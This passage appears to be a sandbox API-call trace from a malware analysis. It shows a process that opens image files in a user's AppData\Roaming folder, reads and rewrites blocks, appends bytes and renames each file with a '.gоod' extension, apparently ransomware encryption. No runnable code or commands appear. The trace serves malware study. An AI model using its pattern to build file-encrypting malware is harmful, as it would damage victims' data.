GetFileType (hFile=0x858) returned 0x1 [0220.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.696] GetFileType (hFile=0x858) returned 0x1 [0220.697] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0220.697] ReadFile (in: hFile=0x858, lpBuffer=0x37efa50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x37efa50*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0220.698] CloseHandle (hObject=0x858) returned 1 [0220.698] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg", lpFilePart=0x0) returned 0x35 [0220.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.698] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wk5ay3-oxk0sddx-g.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.698] GetFileType (hFile=0x858) returned 0x1 [0220.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.698] GetFileType (hFile=0x858) returned 0x1 [0220.698] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x17f71 [0220.698] WriteFile (in: hFile=0x858, lpBuffer=0x37f0cd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x37f0cd8*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0220.698] CloseHandle (hObject=0x858) returned 1 [0220.698] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg", lpFilePart=0x0) returned 0x35 [0220.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.699] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wk5ay3-oxk0sddx-g.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.699] GetFileType (hFile=0x858) returned 0x1 [0220.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.699] GetFileType (hFile=0x858) returned 0x1 [0220.699] ReadFile (in: hFile=0x858, lpBuffer=0x37f2f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x37f2f88*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0220.849] CloseHandle (hObject=0x858) returned 1 [0220.849] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg", lpFilePart=0x0) returned 0x35 [0220.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wk5ay3-oxk0sddx-g.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.850] GetFileType (hFile=0x858) returned 0x1 [0220.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.850] GetFileType (hFile=0x858) returned 0x1 [0220.850] WriteFile (in: hFile=0x858, lpBuffer=0x368cb28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x368cb28*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0220.850] CloseHandle (hObject=0x858) returned 1 [0220.850] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg", lpFilePart=0x0) returned 0x35 [0220.850] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg.gоod", lpFilePart=0x0) returned 0x3a [0220.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0220.850] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wk5ay3-oxk0sddx-g.jpg"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0672700, ftCreationTime.dwHighDateTime=0x1d4ce4f, ftLastAccessTime.dwLowDateTime=0xc2b50820, ftLastAccessTime.dwHighDateTime=0x1d4d01d, ftLastWriteTime.dwLowDateTime=0x7fd8eddd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17f81)) returned 1 [0220.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0220.850] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wk5ay3-oxk0sddx-g.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wk5ay3-oxk0sddx-g.jpg.gоod")) returned 1 [0220.851] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp", lpFilePart=0x0) returned 0x2b [0220.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0220.851] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ww38svu.bmp"), fInfoLevelId=0x0, lpFileInformation=0x37e6ea0 | out: lpFileInformation=0x37e6ea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1cf50, ftCreationTime.dwHighDateTime=0x1d4d166, ftLastAccessTime.dwLowDateTime=0xed8e7e20, ftLastAccessTime.dwHighDateTime=0x1d4cdaa, ftLastWriteTime.dwLowDateTime=0xed8e7e20, ftLastWriteTime.dwHighDateTime=0x1d4cdaa, nFileSizeHigh=0x0, nFileSizeLow=0x102e9)) returned 1 [0220.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0220.851] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp", lpFilePart=0x0) returned 0x2b [0220.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ww38svu.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.851] GetFileType (hFile=0x858) returned 0x1 [0220.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.852] GetFileType (hFile=0x858) returned 0x1 [0220.852] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0220.852] ReadFile (in: hFile=0x858, lpBuffer=0x37e7238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x37e7238*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0220.852] CloseHandle (hObject=0x858) returned 1 [0220.852] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp", lpFilePart=0x0) returned 0x2b [0220.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.853] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ww38svu.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.853] GetFileType (hFile=0x858) returned 0x1 [0220.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.853] GetFileType (hFile=0x858) returned 0x1 [0220.853] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x102e9 [0220.853] WriteFile (in: hFile=0x858, lpBuffer=0x37e8490*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x37e8490*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0220.853] CloseHandle (hObject=0x858) returned 1 [0220.853] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp", lpFilePart=0x0) returned 0x2b [0220.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.853] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ww38svu.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.854] GetFileType (hFile=0x858) returned 0x1 [0220.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.854] GetFileType (hFile=0x858) returned 0x1 [0220.854] ReadFile (in: hFile=0x858, lpBuffer=0x37ea710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x37ea710*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0220.879] CloseHandle (hObject=0x858) returned 1 [0220.879] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp", lpFilePart=0x0) returned 0x2b [0220.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.879] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ww38svu.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.879] GetFileType (hFile=0x858) returned 0x1 [0220.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.879] GetFileType (hFile=0x858) returned 0x1 [0220.879] WriteFile (in: hFile=0x858, lpBuffer=0x37e94a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x37e94a8*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0220.879] CloseHandle (hObject=0x858) returned 1 [0220.880] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp", lpFilePart=0x0) returned 0x2b [0220.880] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp.gоod", lpFilePart=0x0) returned 0x30 [0220.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0220.880] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ww38svu.bmp"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1cf50, ftCreationTime.dwHighDateTime=0x1d4d166, ftLastAccessTime.dwLowDateTime=0xed8e7e20, ftLastAccessTime.dwHighDateTime=0x1d4cdaa, ftLastWriteTime.dwLowDateTime=0x7fddb220, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x102f9)) returned 1 [0220.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0220.880] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ww38svu.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wW38svU.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ww38svu.bmp.gоod")) returned 1 [0220.880] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp", lpFilePart=0x0) returned 0x33 [0220.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0220.880] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xfoq4bdgvp9syc9.bmp"), fInfoLevelId=0x0, lpFileInformation=0x3866a28 | out: lpFileInformation=0x3866a28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87a4460, ftCreationTime.dwHighDateTime=0x1d4c674, ftLastAccessTime.dwLowDateTime=0x69efbe60, ftLastAccessTime.dwHighDateTime=0x1d4c852, ftLastWriteTime.dwLowDateTime=0x69efbe60, ftLastWriteTime.dwHighDateTime=0x1d4c852, nFileSizeHigh=0x0, nFileSizeLow=0x15c5c)) returned 1 [0220.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0220.881] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp", lpFilePart=0x0) returned 0x33 [0220.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.881] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xfoq4bdgvp9syc9.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.881] GetFileType (hFile=0x858) returned 0x1 [0220.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.881] GetFileType (hFile=0x858) returned 0x1 [0220.881] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0220.881] ReadFile (in: hFile=0x858, lpBuffer=0x3866e00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3866e00*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0220.882] CloseHandle (hObject=0x858) returned 1 [0220.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp", lpFilePart=0x0) returned 0x33 [0220.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.882] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xfoq4bdgvp9syc9.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.882] GetFileType (hFile=0x858) returned 0x1 [0220.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.882] GetFileType (hFile=0x858) returned 0x1 [0220.882] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x15c5c [0220.882] WriteFile (in: hFile=0x858, lpBuffer=0x3868078*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x3868078*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0220.882] CloseHandle (hObject=0x858) returned 1 [0220.883] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp", lpFilePart=0x0) returned 0x33 [0220.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.883] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xfoq4bdgvp9syc9.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.883] GetFileType (hFile=0x858) returned 0x1 [0220.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.883] GetFileType (hFile=0x858) returned 0x1 [0220.883] ReadFile (in: hFile=0x858, lpBuffer=0x386a318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x386a318*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0223.098] CloseHandle (hObject=0x858) returned 1 [0223.098] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp", lpFilePart=0x0) returned 0x33 [0223.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0223.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xfoq4bdgvp9syc9.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0223.098] GetFileType (hFile=0x858) returned 0x1 [0223.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0223.098] GetFileType (hFile=0x858) returned 0x1 [0223.098] WriteFile (in: hFile=0x858, lpBuffer=0x34415d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x34415d8*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0223.098] CloseHandle (hObject=0x858) returned 1 [0223.099] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp", lpFilePart=0x0) returned 0x33 [0223.099] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp.gоod", lpFilePart=0x0) returned 0x38 [0223.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0223.099] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xfoq4bdgvp9syc9.bmp"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87a4460, ftCreationTime.dwHighDateTime=0x1d4c674, ftLastAccessTime.dwLowDateTime=0x69efbe60, ftLastAccessTime.dwHighDateTime=0x1d4c852, ftLastWriteTime.dwLowDateTime=0x81304249, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x15c6c)) returned 1 [0223.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0223.099] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xfoq4bdgvp9syc9.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\XfoQ4bdGvP9SyC9.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xfoq4bdgvp9syc9.bmp.gоod")) returned 1 [0223.099] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg", lpFilePart=0x0) returned 0x33 [0223.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0223.100] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ymqwjw-z3qnsvbz.jpg"), fInfoLevelId=0x0, lpFileInformation=0x3698bf0 | out: lpFileInformation=0x3698bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c113000, ftCreationTime.dwHighDateTime=0x1d4d503, ftLastAccessTime.dwLowDateTime=0x8978d550, ftLastAccessTime.dwHighDateTime=0x1d4c8cf, ftLastWriteTime.dwLowDateTime=0x8978d550, ftLastWriteTime.dwHighDateTime=0x1d4c8cf, nFileSizeHigh=0x0, nFileSizeLow=0xddb6)) returned 1 [0223.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0223.100] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg", lpFilePart=0x0) returned 0x33 [0223.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0223.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ymqwjw-z3qnsvbz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0223.100] GetFileType (hFile=0x858) returned 0x1 [0223.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0223.100] GetFileType (hFile=0x858) returned 0x1 [0223.100] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0223.100] ReadFile (in: hFile=0x858, lpBuffer=0x3698fc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3698fc8*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0223.101] CloseHandle (hObject=0x858) returned 1 [0223.101] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg", lpFilePart=0x0) returned 0x33 [0223.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0223.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg" (normalized: 